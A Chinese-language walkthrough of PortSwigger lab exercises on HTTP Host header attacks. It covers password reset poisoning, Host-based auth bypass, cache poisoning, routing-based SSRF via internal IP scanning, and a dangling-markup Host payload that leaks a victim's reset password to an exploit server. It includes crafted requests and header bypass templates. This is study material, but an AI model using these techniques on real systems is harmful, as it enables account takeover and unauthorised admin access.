[复现] HTTP主机头攻击, SSRF
基本密码重置中毒
打开靶场 忘记密码功能 输入wiener 发送邮件
在顶部看到Go to exploit server按钮 点击
下拉看到Email client按钮 点击
可以看到我们收到一封带有URL的电子邮件
在该 URL 中,可以看到参数temp-forgot-password-token
单击次链接打开 就可以更改我们自己的密码
翻阅burp的history里找到我们点击忘记密码的那个包
改自定义host头测试
现在打开exploit server查看邮件 多出来一封自定义host头的url
之后点击Back to exploit server 复制url
修改host为我们复制的url 并且 username=carlos 构造恶意脚本
查看exploit server上的Access log
可以看到carlos的token是ab9ts54oxrsb05llsiznhwxzxc8crolu
再去Email client里找到我们第一次收到的修改密码url地址并复制
把盗取carlos的token替换上去
成功
主机标头身份验证绕过 - Host: localhost
正常访问/admin 状态码是401
抓包修改Host: localhost 返回状态码200
通过模糊请求进行Web缓存投毒 - 添加重复的Host头
正常访问主页 返回头X-Cache: hit
再Repeater发送 发现返回头X-Cache: miss
得知请求是否已缓存在缓存中,可以双写Host进行web缓存投毒
进入exploit server 构造payload
成功弹窗
基于路由的 SSRF
访问靶场/根目录 发送到 Burp Repeater里。
把 Host 标头值,替换成主机的DNSlog。发送请求。
转到 Burp Collaborator 单击Poll now。证明存在SSRF漏洞
将请求包转到 Burp Intruder。
别忘了关掉”更新主机标头以匹配目标”。
将 Host 值替换成192.168.0.§0§
在Payloads选项卡上,选择有效载荷类型Numbers。值为0-255
攻击完成后 Host: 192.168.0.130收到了 302 响应,将您重定向到/admin。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,将请求行更改为GET /admin并发送请求。在响应中,观察到已成功访问管理面板。
如果返回值有Set-Cookie也要把session=NdxPNRKQB4U1Zh3tEXxpureUIPZBdwWP;放到COOKIE头里
研究删除用户的表单。发现GET /admin/delete?csrf=IFTk0ynPl5zbGBOJL6FoYVMBdu3VGHbM&username=carlos
成功删除carlos用户
通过有缺陷的请求解析实现 SSRF - 使用绝对路径的URL
改HOST头发现 403 Forbidden
在GET /这里,改成GET https://0a15007703ba975b80021c8700b0007e.web-security-academy.net/ HOST头改成主机的DNSlog
证明存在SSRF漏洞
就可以继续用 [实验室:基于路由的 SSRF] 漏洞重复操作
GET https://0a15007703ba975b80021c8700b0007e.web-security-academy.net/admin/delete?csrf=iOqRsO97wC8gYxjryI6qUjujASVASVlM&username=carlos HTTP/2
Host: 192.168.0.50
成功删除carlos用户 返回302
通过连接状态攻击绕过主机验证 - Burp Repeater Group
将请求发送GET /到 Burp Repeater。
将路径更改为/admin 发送请求,返回404
将Host值改为192.168.0.1,返回301,证明可行
复制选项卡,然后将两个选项卡添加到新组中。 选择第一个选项卡的请求头更改GET / Host值改回原来服务器的正常请求头 将Connection标题更改为keep-alive(貌似不加也可以)
使用发送,按钮旁边的下拉菜单,将发送模式更改为按顺序发送组(单连接)
发送请求包后,在第二个选项卡里请求已成功访问admin目录
就可以继续用 [实验室:基于路由的 SSRF] 漏洞重复操作
通过悬垂标记进行密码重置中毒 - 忽略端口仅校验域名 - Dangling markup技术
转到登录页面并请求重置wiener帐户密码
进入漏洞服务器,打开邮件客户端,找到密码重置邮件
在burp历史记录中, 将请求发送POST /forgot-password到 Burp Repeater
篡改 Host 标头中的域名会导致服务器错误。
但是,可以向 Host 标头添加任意非数字端口,并且仍能正常访问站点。 Host: xxx.web-security-academy.net:disbb
在电子邮件客户端中,检查电子邮件的原始版本 就可以看到携带了disbb
再次发送POST /forgot-password请求,把disbb改成恶意代码脚本 Host: xxx.net:’<a href=”//exp123.exploit-server.net/?
检查电子邮件客户端。您应该已经收到一封新邮件,其中大部分内容缺失。
转到漏洞服务器并检查访问日志。看到 GET /?/login’>[…],其中包括新密码。
在 Burp Repeater 中,最后一次发送请求,但将参数更改username为carlos。
刷新访问日志就可以看到carlos用户的新密码。
其他绕过方式
添加缩进或换行
当一些站点block带有多个Host头的请求时,可以通过添加缩进字符的HTTP头来绕过:
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆盖Host头的字段
与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff